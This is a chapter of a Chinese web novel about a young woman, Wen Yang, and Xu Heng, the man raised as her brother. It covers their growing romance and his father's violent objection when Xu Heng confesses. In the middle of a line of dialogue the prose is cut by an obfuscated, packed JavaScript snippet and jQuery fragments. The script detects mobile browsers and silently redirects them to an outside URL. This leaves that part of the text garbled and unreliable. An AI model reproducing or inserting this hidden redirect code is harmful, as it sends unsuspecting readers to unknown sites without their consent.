荆问 作品

62. 第 62 章

其实温漾想说不好。


然而即便她表现得很好,已经以最快的速度适应了和哥哥的亲吻,但在那个吻逐渐变了味道,一切导向另一个更亲密更具爱.欲的可能,身体的本能还是发出了危险的、不安的信号。


她感觉到自己的皮肤正在隐隐发烫,血管里的液体飞速流动。


——她在紧张。


也许哥哥比她先一步察觉到了这一点。


所以叫了停。


温漾垂下眼,在那种不安里还感到微妙的不甘与惋惜。


“哥哥……”


她撑在哥哥的肩上,看着他眸底清晰的难以掩饰的炙热,眼尾泛着情潮的红,紊乱的呼吸喷洒在皮肤上,烫得令人心惊。


然而哥哥的双手却只是搭在她的腰间,以一个温柔的力道,让她随时可以撤离。


温漾闭了闭眼,低下头,亲吻哥哥的眼睛。


“我是你的。”


她轻声低喃。


许珩的眼睫微微颤了一下,喉间溢出一声暗哑的,“嗯。”


他握着她的手掌,引领着落到自己胸膛上,“阿漾。”


“嗯?”


她垂眸。


“是你让它变成现在这样。”


他自下而上地仰视着她,窗户外的月光洒进来,在他眸底里留下一道皎白的光点,映照出一个信徒朝拜的神情。


温漾长久地注视着那道光点。


忽然意识到,这是她与这个世界连接的锚点。


让这只抓不住的、悬绕半空许久的蝴蝶最后一次落入人间。


——是哥哥的爱。


-


隔天早上,温漾醒的时候,看见哥哥换了衣服,和平时千篇一律的半西服不同。


里面是件低饱和度的浅色衬衣,外面搭了件深色薄但有些挺括的风衣,显出几分慵懒和松弛。


褪去了那刻意的成熟稳重,多了些这个年纪应有的年轻感,


甚至是久违的独属于某个阶层的矜贵气质。


温漾不由多看了一眼,许珩将煮好的荷包蛋倒进碗里,说:“先去洗漱,然后过来吃早饭。”


“……喔。”


温漾乖巧应了,目光在哥哥身上停留三秒,转身去浴室了。


回来的时候,又看了哥哥一眼,然后才坐下,拿着勺子去搅荷包蛋。


“怎么一直看着哥哥?”


许珩揉了揉她的脑袋,问。


“好看。”


温漾老实地说。


头顶的触感停顿了一下,许珩问:“喜欢哥哥这样穿?”


“嗯。”


温漾思考了两秒,说:“像漫画里的小王子。”


许珩似是笑了一下,“是么?哥哥像漫画里的小王子,那阿漾是什么?白雪公主还是灰姑娘?”


温漾摇摇头,“都不是。”


她低着头将勺子里的荷包蛋咬下,一口一口细嚼慢咽着。


在哥哥给她倒牛奶的时候,忽然说:“是玻璃罩里面的玫瑰。”


清晨的天光里,空气中漂浮着隐约的香气,将一切笼罩上一层寻常的柔软。


哥哥眉宇舒展开温柔的弧度,他摸了摸她的头发,声音很轻也很温和,“那哥哥会努力养好阿漾,不让阿漾枯萎。”


吃过早餐过后,温漾要去学校。


临走时,哥哥似乎犹豫了一下,最终还是同她说道:“阿漾,哥哥今天有点事,下午你先自己回家,好不好?”


温漾点点头,“嗯。”


许珩坐在车内,目送着妹妹沿着长长的楼梯走进图书馆里,直至再也看不见为止。


安静片刻。


他启动车子,离开延大,开往一条熟悉到几乎倒背如流的路线。


四周的高楼大厦化为广袤的高尔夫球场,穿过一片修葺别致的湖水公园,一幢幢别墅映入眼帘。


他将车子停进其中一幢的负二楼里,坐电梯上了一楼。


温馨熟悉的装潢,一切仿佛没有变化过。


“阿珩回来了。”


家里阿姨笑着同他打招呼,目光不动声色地打量过他,尽管遮掩得很好,还是能看出那被磨得圆滑起来的沉稳,当初温柔的底色下仍有孤高清贵,如今已然没了。


阿姨叹了口气,忍不住惋惜道:“保研也好,出国留学也好,总归是能做你喜欢的事,怎么好好的忽然转了性?”


许珩牵起一个笑,眸色平静,似乎毫不在意,“事情也分轻重缓急,喜欢的东西自然也要为更喜欢的让路。”


话虽如此。


但阿姨还是无法理解,“钱也好,履历也好,家里公司都能给你,又何必要去外面呢?”


就为了证明自己的能力?


即便如此,那也不必和家里闹到几乎断绝关系的程度。


许珩沉默了片刻,没有给出答案。


这个问题当初面对父亲的质问时也没能给出答案。


不是因为没有答案。


而是答案无法宣之于口。


能告诉谁?他要披上冠冕堂皇的兄长身份,强行延续那段已经被切断的关系。


他想留在她身边,不愿她为生活烦忧,此后只做自己想做的。


沉默回荡在四周。


阿姨叹息着,最后只是说:“他在书房等你。”


二楼书房,深色木门推开,一切光景犹如从前,下沉式沙发里那道熟悉的背影似乎顿了一下,而后继续翻过手中那一页书,平静得几乎不像是间隔了这么多个日夜再次与儿子见面。


“爸。”


许珩走上前,坐在了他的对面。


“听说你已经预定了去新恒总公司的名额了?”


许砚没抬头,很平淡地开了口。


“嗯。”


许珩回答。


而后有短暂的宁静。


即便流着同样的血液,在历经一次伤筋动骨的分歧过后,横亘在两人间的缝隙也难以复原。


片刻后。


许砚叹了口气,合上了手里的书,摘下眼镜,直起身靠回沙发里,看向他,“说吧,是什么事。”


闻言,许珩抿了下唇,没有立刻开口。


“这两年你在新恒做得很好,林总和我提起过你。”


许珩看了他一眼。


许砚意味不明地笑了一下,淡道:“放心,没让他特别关照你,不用这么看着我,我既然说过会收回给你的东西,就会说到做到。”


“你误会了,”许珩说,“我更希望你让林总特别关照我。”


“……”


许砚望着他,这回倒是真笑了,“嗯,是磨炼了不少。”


他下巴微抬,重新将话题拉了回来,“学业完成得很好,工作也蒸蒸日上,经营得这么好,却忽然回来,是为了什么?”


许珩垂下眼。


半晌。


他轻声道:“之前你说我连答卷都交不出来,说错了。”


“怎么?”


许砚看向他的目光凝了凝,方才的气定神闲褪去,显出几分认真。


“你是不是已经猜到了?”


许珩忽然问。


许砚没回答,只是看着他。


“你不让我和她们再有联系,我没能做到。”


许珩说。


一旦起头,剩下的似乎都变得容易许多。


他抬起眼,对上父亲的目光,回答了当年没能交出去的那份答卷,“是因为我想照顾她,我想让她得偿所愿,


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14914118|160132||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


我想——”


“她有真正的亲人照顾,还轮不到你,许珩。”


许砚忽然很生硬地打断了他。


“……”


许珩沉默了下。


“认清楚你自己的身份。”


许砚的咬字有些用力,带着几分意义不明的告诫,“许珩,你只差一点就是她真正意义上的哥哥。”


“是啊,”许珩神色有一瞬的恍惚,语气里分不清是为当初那场被迫的分别感到遗憾还是庆幸,“只差一点。”


“就算没有,”许砚神态平静,语气却暗含强调,“她也是你妹妹。”


许珩忽然笑了下。


吊顶的光是冷调,自上而下打下来,映衬出他那近乎苍白的神色,浅棕色的眸底浮现起一点难以名状的情绪。


孤注一掷却又义无反顾。


如同一个背负起全部罪名的囚徒,却还要乞怜对方的认可与接纳。


“不再是了。”


他说。


“我要和她在一起。”


话音未落。


许砚猛地站起。


一道清脆的声响打断了他剩下的话。


那道力几乎用了十成。


许珩偏过头,身子也歪了歪。


紧接着有什么东西滴落在地响起液体掉落的啪嗒声。


他抬起手捂着口鼻,猩红顺着指缝泄出。


好一会儿。


溢出的猩红流速减慢,似乎是凝固住了。


许珩松开手,去拿纸巾擦拭过手指和脸上浸染的血。


“她是你妹妹!”


许砚音量猛地拔高,“第一次见面,你就知道她是你妹妹!”


伦理界限不只是带着枷锁的血缘关系,那是与生俱来的,不需要教导人人都知道的界限。


但这个世界上还有一种,即便没有任何血缘关系,只是作为某个身份而接轨,但也永远刻着一道绝不允许的禁忌。


那是古往今来经过一辈又一辈人强硬加注在人心里的枷锁。


“我早就告诉过你,她是你妹妹!”


许砚几乎是粗声地嘶吼,“你知不知道人之所以是人是因为什么?是懂得伦理纲常,是知道什么可以做什么不可以做,我这么多年在你身上费心倾注的教育资源,最后就教出了你去觊觎你的妹妹?”


许珩近乎用力地闭了一下眼。


过了很久。


他嘴角牵动了一下,凝固住的伤口隐隐渗出新的血液,那是一个自嘲的无可救药的笑。


“我试过了。”


他抬起手,擦过嘴角的血,看向父亲,“你认为我没试过?”


正是因为许砚费心倾注的教育资源,让许珩更清楚地认识到自己有多么卑劣罪恶。


明知道对方是妹妹,却还能爱上对方。


罔顾伦理是罪。


然而明知是错却还执迷不悟。


他早就已经病入膏肓了。


他没打算将妹妹引入这条错误的路上来。


从始至终,他只是想以哥哥的身份留在她身边,哪怕以后要看着她与别人在一起,看着她与别人拥抱亲吻,看着她被别人照顾,看着她和别人共度一生……哪怕是这样,他也全盘接受。


他只是奢求一个哥哥的身份。


仅此而已。


他从没想过,有一天,蝴蝶会落在他的手心。


罪孽深重的哥哥的确不配去爱妹妹。


可是。


只要她还愿意喜欢他。


哪怕只是一瞬间。


他也心甘情愿赴汤蹈火,甘愿给她他力所能及的一切。


如果能乞求到父亲的认可,那是恩赐,如果不能,他也会一意孤行到妹妹不需要他为止。